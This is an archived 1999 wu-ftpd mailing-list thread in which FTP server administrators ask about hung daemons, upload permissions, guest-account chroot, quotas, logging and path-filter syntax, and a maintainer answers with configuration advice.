I'm running wu-2.4.1 on SunOS5.5.1. Currently there are 70 in.ftpd in the
process list.
Is this normal? If not is there a switch for the initial process that will
kill subsequent
connections if they are old and inactive?

-- Lucy

From [email protected] Thu Mar 18 17:57:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA19276;
Thu, 18 Mar 1999 17:57:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA10199;
Thu, 18 Mar 1999 17:52:25 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA07211
for <[email protected]>; Thu, 18 Mar 1999 17:46:20 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id SAA29575;
Thu, 18 Mar 1999 18:46:12 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 18:46:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: multiple daemon's running
In-Reply-To: <36f17aabmultiple daemon's running*@m400gw.wiley.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 18 Mar 1999 [email protected] wrote:

> If users don't disconnect from their FTP client properly the daemon
> doesn't die. I'm running wu-2.4.1 on SunOS5.5.1. Currently there are
> 70 in.ftpd in the process list. Is this normal? If not is there a
> switch for the initial process that will kill subsequent connections
> if they are old and inactive?

Check your version. If you're really running 2.4.1 you're very old and
missing a large number of critical updates; including the fix to the
problem you're describing.

The current academ version is 2.4.2
The current recomended version is 2.4.2-VR16

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 19 03:13:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA25037;
Fri, 19 Mar 1999 03:13:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA09530;
Fri, 19 Mar 1999 03:07:06 -0600 (CST)
Received: from hal.csd.auth.gr (hal.csd.auth.gr [155.207.113.69])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id CAA10789
for <[email protected]>; Fri, 19 Mar 1999 02:59:46 -0600 (CST)
Received: from localhost (hkosmidi@localhost)
by hal.csd.auth.gr (8.8.7/8.8.7) with ESMTP id KAA14168;
Fri, 19 Mar 1999 10:59:23 +0200
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 10:59:22 +0200 (EET)
Reply-To: [email protected]
Sender: [email protected]
From: Harris Kosmidhs <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: upload
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

# specify the upload directory information
upload / * no
upload /hal/ftp /incoming yes ftp hal 0660 dirs

isn't it good?

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% Did they expect us to treat them with any respect %%
%% "Final Cut -- Pink Floyd" %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

On Thu, 18 Mar 1999, Gregory A Lundberg wrote:

> Probably. In my experience, the upload clauses for many sites didn't work
> but the failure wasn't noticed because nobody looked carefully enough and
> Unix permissions were protecting the system. The VR version attempts to
> correct these problems in a number of ways. Most notably for you, upload
> is DENIED by default for anonymous users; you MUST have a valid upload
> clause to enable it.
>
> I've written a document explaining how to securely allow uploads on your
> ftp site. Read through
> ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO
> it should answer your questions.
>

From [email protected] Fri Mar 19 10:53:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA00552;
Fri, 19 Mar 1999 10:53:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA01976;
Fri, 19 Mar 1999 10:46:46 -0600 (CST)
Received: from aqua.uaa.mx (aqua.uaa.mx [148.211.1.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA00203
for <[email protected]>; Fri, 19 Mar 1999 10:42:58 -0600 (CST)
Received: from dped.dped.uaa.mx (dped.dped.uaa.mx [148.211.1.100])
by aqua.uaa.mx (8.8.8/8.8.8) with ESMTP id KAA20443
for <[email protected]>; Fri, 19 Mar 1999 10:44:47 +0600 (GMT)
Received: from DPED/SpoolDir by dped.dped.uaa.mx (Mercury 1.40);
19 Mar 99 10:43:05 GMT-6
Received: from SpoolDir by DPED (Mercury 1.40); 19 Mar 99 10:43:04 GMT-6
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 10:43:04 GMT-6
Reply-To: [email protected]
Sender: [email protected]
From: "ABRAHAM RODRIGUEZ MENDEZ" <[email protected]>
To: [email protected]
Subject: directory listing
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-mailer: Pegasus Mail v3.22
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

i am running wu-2.4.2-VR17(1) in irix 6.2 and
i can do change directory (cd), pwd etc ...
but i cannot get a directory listing.

only show me:
FTP> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.

thanks for all

Abraham R.

From [email protected] Fri Mar 19 10:53:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA00573;
Fri, 19 Mar 1999 10:53:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA23489;
Fri, 19 Mar 1999 10:49:10 -0600 (CST)
Received: from vesuve.globetrotter.net (vesuve.globetrotter.net [142.169.1.81])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA01992
for <[email protected]>; Fri, 19 Mar 1999 10:45:49 -0600 (CST)
Received: from globetrotter.net (cindy.quebectel.com [142.169.1.76])
by vesuve.globetrotter.net (8.8.5/8.8.5) with ESMTP id LAA12728
for <[email protected]>; Fri, 19 Mar 1999 11:45:47 -0500 (EST)
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 11:45:47 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Raphael Chasse <[email protected]>
To: [email protected]
Subject: about quotas
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: fr-CA
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

I'm using BeroFTPD 1.3.4 on a Solaris 2.5.1 . Considering that I run
many virtual FTP server on the same machine (each server with his own
passwd/shadow file), How can we manage disk quotas if users don't exist
in the /etc/passwd file ?

Also, if a subdir is shared among many users, How can I restrict the
maximum size of that subdir ? Can we specify quotas by subdir instead
of by username ?

Thank you,
--
Raphael Chasse
Analyste systemes d'exploitation reseau et reseautique
[email protected]

From [email protected] Fri Mar 19 11:33:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA01275;
Fri, 19 Mar 1999 11:33:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA09168;
Fri, 19 Mar 1999 11:27:17 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA06981
for <[email protected]>; Fri, 19 Mar 1999 11:24:09 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA04554;
Fri, 19 Mar 1999 12:24:00 -0500
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 12:24:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Harris Kosmidhs <[email protected]>
Cc: [email protected]
Subject: Re: upload
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 19 Mar 1999, Harris Kosmidhs wrote:

> # specify the upload directory information
> upload / * no
> upload /hal/ftp /incoming yes ftp hal 0660 dirs
>
> isn't it good?

Probably not.

What follows is conjecture based upon my experiences and extensive testing
of the daemon.

--

First, remember the _default_ is to ALLOW uploads for all users. One of
the VR changes (don't know if Bernard has put it in BeroFTPD yet) is to
change the default to deny uploads by default for anonymous users. Let's
assume your default is to allow uploads.

> upload / * no

Does this do anything? Probably not. On most versions of the daemon, the
<rootdir>, '/' here, actually neesd to be the home directory for the user
exaclty as it appears in /etc/passwd (/./ hack and all). Some of the
later 2.4.2-beta versions are subtly broken and actually _will_ use this
to mean 'anyone who is chrooted' .. meaning anonymous and guest users.
The only way to know for sure is trial and error testing on your version
of the daemon.

> upload /hal/ftp /incoming yes ftp hal 0660 dirs

Does this do anything? Maybe. It depends upon whether the earlier rule
worked. If the earlier rule did NOT work to deny uploads, this rule
probably WILL take effect: uploads were allowed anyway so all it'll do is
set the ownership and permissions. If the earlier rule DID work, then
this rule probably does not work at all.

Let's say that you tested to make sure the ownership was set as you
expected. You assumed this meant the upload rules worked. Don't feel
bad; I labored under the same false sense of security for nearly five
years.

Now we see you allowed directories to be created. But .. and this is
subtle .. while your second upload clause allowed creation of directories
it would NOT have allowed uploads _into_ those directories.

So, let's say you tested and, sure enough, you COULD upload into the newly
created directories. This PROVES the first rule did NOT work since it
should have prevented the uploads.

What we have here is a set of rules that appears to work because uploads
were allowed where you expected to be allowed.

But, you say, I tested and I couldn't upload into other areas .. also as I
expected. Of course not. But it wasn't the daemon stopping the uploads.
It was the Unix file/directory permissions.

In other words, where you thought you had two rings of security protecting
your system, the outer ring (the FTP daemon's upload clauses) were broken;
all that was protecting your server was the last-ditch permissions check
provided by the underlying OS.

This breakage was VERY subtle. In fact, I looked at it for the better
part of a year, convinced something wasn't quite Kosher but not quite able
to put my finger on WHY it was broken. The many head-shaped dents in my
office walls are evidence of my reaction when I finally realized just why
and how badly broken the upload clauses were.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 19 11:38:43 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA01353;
Fri, 19 Mar 1999 11:38:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA08521;
Fri, 19 Mar 1999 11:33:54 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA06792
for <[email protected]>; Fri, 19 Mar 1999 11:26:24 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA04563;
Fri, 19 Mar 1999 12:25:51 -0500
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 12:25:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: ABRAHAM RODRIGUEZ MENDEZ <[email protected]>
Cc: [email protected]
Subject: Re: directory listing
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 19 Mar 1999, ABRAHAM RODRIGUEZ MENDEZ wrote:

> i am running wu-2.4.2-VR17(1) in irix 6.2 and i can do change
> directory (cd), pwd etc ... but i cannot get a directory listing.
>
> only show me:
> FTP> ls
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for /bin/ls.
> 226 Transfer complete.

First guess: incomplete guest/anonyous area setup. check the FAQ.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 19 11:42:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA01475;
Fri, 19 Mar 1999 11:42:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA05872;
Fri, 19 Mar 1999 11:36:42 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA30026
for <[email protected]>; Fri, 19 Mar 1999 11:30:59 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA04610;
Fri, 19 Mar 1999 12:30:49 -0500
Message-Id: <[email protected]>
Date: Fri, 19 Mar 1999 12:30:49 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Raphael Chasse <[email protected]>
Cc: [email protected]
Subject: Re: about quotas
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 19 Mar 1999, Raphael Chasse wrote:

> I'm using BeroFTPD 1.3.4 on a Solaris 2.5.1 . Considering that I run
> many virtual FTP server on the same machine (each server with his own
> passwd/shadow file), How can we manage disk quotas if users don't
> exist in the /etc/passwd file ?
>
> Also, if a subdir is shared among many users, How can I restrict the
> maximum size of that subdir ? Can we specify quotas by subdir instead
> of by username ?

Full answer to your questions are highly system dependant. What might
work for Linux may not work for Solaris or SunOS or HP/UX or ...

In answer to your second paragraph, though, personally, I'd handle that
problem using hard filesystem limits. Create a partition (file system)
and mount it as the shared area. The hard limit 'quota' is the size of
the file system.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 20 13:26:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA04022;
Sat, 20 Mar 1999 13:26:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA30412;
Sat, 20 Mar 1999 13:20:00 -0600 (CST)
Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA25146
for <[email protected]>; Sat, 20 Mar 1999 13:11:06 -0600 (CST)
Received: from computername (ip35.rutland2.vt.pub-ip.psi.net [38.26.145.35])
by snipe.prod.itd.earthlink.net (8.8.7/8.8.5) with SMTP id LAA08930
for <[email protected]>; Sat, 20 Mar 1999 11:11:04 -0800 (PST)
Message-Id: <000301be7305$7ae1c640$23911a26@computername>
Date: Sat, 20 Mar 1999 14:11:38 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Tim Watson" <[email protected]>
To: <[email protected]>
Subject: Setting up "Guest Accounts"
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm sure most of you have been over this numerous times..... but I just
can't seem to get it to work..... not sure what I am missing.....

I'm trying to get the "Guest Account" to work the way described as in:
http://www.landfield.com/wu-ftpd/guest-howto.html

I've followed the instructions there about 5 times..... and searched the
mailing list archives .... but nothing seems to make a difference....

No matter what I do... the user is always logged in as /home/user .....
never chrooted to /

My deticated server came set up with an anon ftp working fine.... it chroots
to /home/ftp, but
I can't figure out how to do it anywhere else.....

I've copied and linked all /bin /etc /lib dirs in /home/user to look exactly
like those in /home/ftp

And my user's home dir is /home/user/./ with a shell of /ftp/only
......

anyone got any ideas what I might be doing wrong ??

Thanks......

Tim

From [email protected] Sat Mar 20 17:56:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA06198;
Sat, 20 Mar 1999 17:56:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA02427;
Sat, 20 Mar 1999 17:50:14 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA14930
for <[email protected]>; Sat, 20 Mar 1999 17:46:26 -0600 (CST)
Received: from yua2 (cm-29-44-47.nycap.rr.com [24.29.44.47])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id SAA14073
for <[email protected]>; Sat, 20 Mar 1999 18:46:25 -0500 (EST)
Message-Id: <[email protected]>
Date: Sat, 20 Mar 1999 18:46:35 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: <[email protected]>
Subject: ftp logs
In-Reply-To: <000301be7305$7ae1c640$23911a26@computername>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

hello,

i want to move all ftp logs to like ftpd.log. is there any way that i can
make all ftp logs to like LOCAL8?

alex

From [email protected] Sat Mar 20 20:13:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA07621;
Sat, 20 Mar 1999 20:13:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA17549;
Sat, 20 Mar 1999 20:07:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA22096
for <[email protected]>; Sat, 20 Mar 1999 20:06:00 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id VAA17219;
Sat, 20 Mar 1999 21:05:55 -0500
Message-Id: <[email protected]>
Date: Sat, 20 Mar 1999 21:05:54 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alex Yu <[email protected]>
Cc: [email protected]
Subject: Re: ftp logs
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Sat, 20 Mar 1999, Alex Yu wrote:

> i want to move all ftp logs to like ftpd.log. is there any way that i
> can make all ftp logs to like LOCAL8?

Change FACILITY in src/config/config.<os> to LOG_LOCALn (where n is 0
through 7 .. there is no LOG_LOCAL8 on most systems, but if yours has one,
use it).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Sat Mar 20 20:18:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA07670;
Sat, 20 Mar 1999 20:18:08 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA20827;
Sat, 20 Mar 1999 20:13:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA04480
for <[email protected]>; Sat, 20 Mar 1999 20:07:21 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id VAA17231;
Sat, 20 Mar 1999 21:07:12 -0500
Message-Id: <[email protected]>
Date: Sat, 20 Mar 1999 21:07:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Tim Watson <[email protected]>
Cc: [email protected]
Subject: Re: Setting up "Guest Accounts"
In-Reply-To: <000301be7305$7ae1c640$23911a26@computername>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

If the guest HOWTO doesn't help, check out the example at
ftp://ftp.vr.net/pub/wu-ftpd/examples/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 22 04:58:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA23268;
Mon, 22 Mar 1999 04:58:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA31554;
Mon, 22 Mar 1999 04:52:15 -0600 (CST)
Received: from abaforum.es (scugat4.abaforum.es [194.179.88.4])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA24067
for <[email protected]>; Mon, 22 Mar 1999 04:46:47 -0600 (CST)
Received: from abaforum.es [195.77.100.233] by abaforum.es with ESMTP
(SMTPD32-4.07) id A16BB970254; Mon, 22 Mar 1999 10:46:19 +01d0
Message-Id: <[email protected]>
Date: Mon, 22 Mar 1999 11:48:01 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Enric Staromiejski <[email protected]>
To: [email protected], wu_ftpd <[email protected]>
Subject: Re: Setting up "Guest Accounts"
References: <000301be7305$7ae1c640$23911a26@computername>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mozilla 4.5 [es] (Win95; I)
X-Accept-Language: es
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I've been setting up a guest-remote ftp on two different linux boxes
following
the document you quote (the best one I found about this subject, among
nearly a
dozen of them). On the first machine everything worked fine after fixing
a
couple of minor problems (as discovering that under Suse 5.3 'ldd' was
not
telling me all the truth: i had to hard-link two libraries that already
were
sym-links to other two libraries under /lib). On the second machine,
however,
nothing worked! I obtained the same behavior that you describe in your
e-mail.
I solved the problem comparing the 'ftpaccess' files on both machine: I
had
forgotten these two last lines on the second machine (the one that
didn't work
proprely):

path-filter guest /etc/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^-
guestgroup invitado

(invitado (guest in spanish) is the name of the remote guest-loggers)

Hope all this bla-bla will be of any help!

Tim Watson escribi�:

> I'm sure most of you have been over this numerous times..... but I just
> can't seem to get it to work..... not sure what I am missing.....
>
> I'm trying to get the "Guest Account" to work the way described as in:
> http://www.landfield.com/wu-ftpd/guest-howto.html
>
> I've followed the instructions there about 5 times..... and searched the
> mailing list archives .... but nothing seems to make a difference....
>
> No matter what I do... the user is always logged in as /home/user .....
> never chrooted to /
>
> My deticated server came set up with an anon ftp working fine.... it chroots
> to /home/ftp, but
> I can't figure out how to do it anywhere else.....
>
> I've copied and linked all /bin /etc /lib dirs in /home/user to look exactly
> like those in /home/ftp
>
> And my user's home dir is /home/user/./ with a shell of /ftp/only
> .......
>
> anyone got any ideas what I might be doing wrong ??
>
> Thanks......
>
> Tim

From [email protected] Mon Mar 22 08:29:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA26022;
Mon, 22 Mar 1999 08:29:08 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA06459;
Mon, 22 Mar 1999 08:22:57 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA12865
for <[email protected]>; Mon, 22 Mar 1999 08:20:28 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA29488;
Mon, 22 Mar 1999 09:19:43 -0500
Message-Id: <[email protected]>
Date: Mon, 22 Mar 1999 09:19:42 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Speier, Guy J - CNF" <[email protected]>
Cc: "'[email protected]'" <[email protected]>
Subject: Re: transfer problems
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Speier, Guy J - CNF wrote:

> ftp from outside firewall (mainframe) barfs when there is a welcome
> message (the user can log in, but hangs after banner is displayed) when
> welcome message is removed, the user may log in, and do ls, pwd, and
> get. When the user tries to do a put, a zero length file is put down
> (even though mainframe says transfer was fine).

Did you ever get a resolution to this problem? If not, turn on command
logging for the failing transfer, check the syslog for other messages, and
send the lot over to me; maybe I'll be able to spot something. I'm
thinking the mainframe ftp client is getting confused somehow.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 22 15:13:57 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA01058;
Mon, 22 Mar 1999 15:13:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA12352;
Mon, 22 Mar 1999 15:04:46 -0600 (CST)
Received: from sunhost1.house.gov (sunhost1.house.gov [143.231.86.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA29491
for <[email protected]>; Mon, 22 Mar 1999 15:03:42 -0600 (CST)
Received: from hrmims02.house.gov (hrmims02.house.gov [143.231.32.158])
by sunhost1.house.gov (8.9.1/8.9.1) with ESMTP id QAA25233
for <[email protected]>; Mon, 22 Mar 1999 16:02:53 -0500 (EST)
Received: by HRMIMS02 with Internet Mail Service (5.5.2539.1)
id <GRJLV56N>; Mon, 22 Mar 1999 16:04:55 -0500
Message-Id: <935297C50FA3D211BF090008C75D28205FD490@HRM08>
Date: Mon, 22 Mar 1999 16:01:42 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Pomerance, Debbie" <[email protected]>
To: [email protected]
Subject: help with pathmsg syntax
X-Mailer: Internet Mail Service (5.5.2539.1)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I am curretnly using wu beta 18

The default pathmsg allowable syntax is

path-filter guest /etc/pathmsg ^[-A-Za-z0-9._]*$ ^\. ^-

The above allows a-z, A-Z, and 0-9, and . and _; but disallows . in the
first character and - in the
first character.

I have modified it so that a tilde is allowed, as in

path-filter guest /etc/pathmsg ^[-A-Za-z0-9._ ~]*$ ^\. ^-

What I really want to do though is allow a tilde in first charcter position
only.

Does anyone have any suggestions.

Any help is appreciated.

Debbie Pomerance

-------------------------------------------------------------
Deborah Pomerance (202) 226-6255
mailto:[email protected]
Unix System Administration
U.S. House of Representatives / House Information Resources

From [email protected] Mon Mar 22 15:25:34 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA01106;
Mon, 22 Mar 1999 15:25:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA11250;
Mon, 22 Mar 1999 15:18:51 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA15149
for <[email protected]>; Mon, 22 Mar 1999 15:16:56 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA00271;
Mon, 22 Mar 1999 16:16:35 -0500
Message-Id: <[email protected]>
Date: Mon, 22 Mar 1999 16:16:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Pomerance, Debbie" <[email protected]>
